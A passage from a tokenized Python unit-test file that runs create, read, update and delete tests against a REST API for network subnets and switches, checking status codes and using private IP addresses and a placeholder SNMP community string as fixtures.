"len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "list", " ", "subnet", "s", " ", "with", " ", "non", "-", "exist", "s", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "?", "name", "=", "test", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "subnet_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "a", " ", "subnet", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "subnet", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "name", "'_", "]_", ",_", "'", "test\\u", "subnet", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "subnet_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "subnet", " ", "alr", "ead", "y", " ", "adde", "d", " ", "in", " ", "set", "Up", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "duplicat", "e", " ", "subnet_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "subnet", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ":_", "'", "10.1", "45.", "89", ".0", "/", "24", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "test\\u", "subnet", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "409_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "subnet", " ", "with", " ", "invalid", " ", "subnet_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ":_", "'", "xxx", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "subnet", "\\u", "invalid", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "subnet_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "subnet", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "subnet", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ":_", "'", "192", ".1", "68.", "100", ".0", "/", "24", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "update", "\\u", "subnet", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "item_", "in_", "data_", "._", "items_", "(_", ")_", "for_", "item_", "in_", "resp_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ":_", "'", "192", ".1", "68.", "100", ".0", "/", "24", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "subnet", "\\u", "invalid", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "with", " ", "wrong", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xxx", "'_", ":_", "'", "wrong", "\\u", "filter", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "subnet_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "subnet", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "subnet", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "non", "-", "existed", " ", "subnet_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "switch", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Switch", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Switch", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "switches_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "ip", "\\u", "int_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "?", "ip", "\\u", "int", "=", "172", ".2", "9.8", ".4", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "invalid", " ", "ip", "\\u", "int_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "?", "ip", "\\u", "int", "=", "xxx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "json_", "._", "loads_", "(_", "self_", "._", "get_", "(_", "url_", ")_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "return", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "switch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "show", " ", "switch", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "ip", "'_", "]_", ",_", "self_", "._", "SWITCH", "\\u", "IP", "\\u", "ADDRESS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "switch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "new", " ", "switch", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "172", ".2", "9.8", ".1", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cred", "ential", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "2c", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "communi", "ty", "\"_", ":_", "\"", "public", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "hua", "wei", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "state", "'_", ":_", "'", "under", "\\u", "monitorin", "g", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "ip", "'_", "]_", ",_", "'", "172", ".2", "9.8", ".1", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "duplicated", " ", "switch_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "self_", "._", "SWITCH", "\\u", "IP", "\\u", "ADDRESS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cred", "ential", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "2c", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "communi", "ty", "\"_", ":_", "\"", "public", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "hua", "wei", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "state", "'_", ":_", "'", "under", "\\u", "monitorin", "g", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "409_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "invalid", " ", "sw", "tic", "h_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "xxx", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "hua", "wei", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "switches_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "switches_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "sba", "tch", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "172", ".2", "9.8", ".3", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "Hua", "wei", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cred", "ential", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "2c", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "communi", "ty", "\"_", ":_", "\"", "public", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "172", ".2", "9.8", ".4", "0", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fail_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "resp_", "[_", "'", "switche", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "._", "append_", "(_", "item_", "[_", "'", "ip", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "item_", "in_", "resp_", "[_", "'", "fail", "\\u", "switche", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail_", "._", "append_", "(_", "item_", "[_", "'", "ip", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "172", ".2", "9.8", ".3", "0", "'_", ",_", "success_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "172", ".2", "9.8", ".4", "0", "'_", ",_", "fail_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "switch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "swi", "th", "c", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "update", "\\u", "vendor", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "vendor", "'_", "]_", ",_", "'", "update", "\\u", "vendor", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "non", "-", "existed", " ", "switch_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "with", " ", "wrong", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xxx", "'_", ":_", "'", "inv", "lid", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "switch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "switch", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "non", "-", "existed", " ", "switch_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", 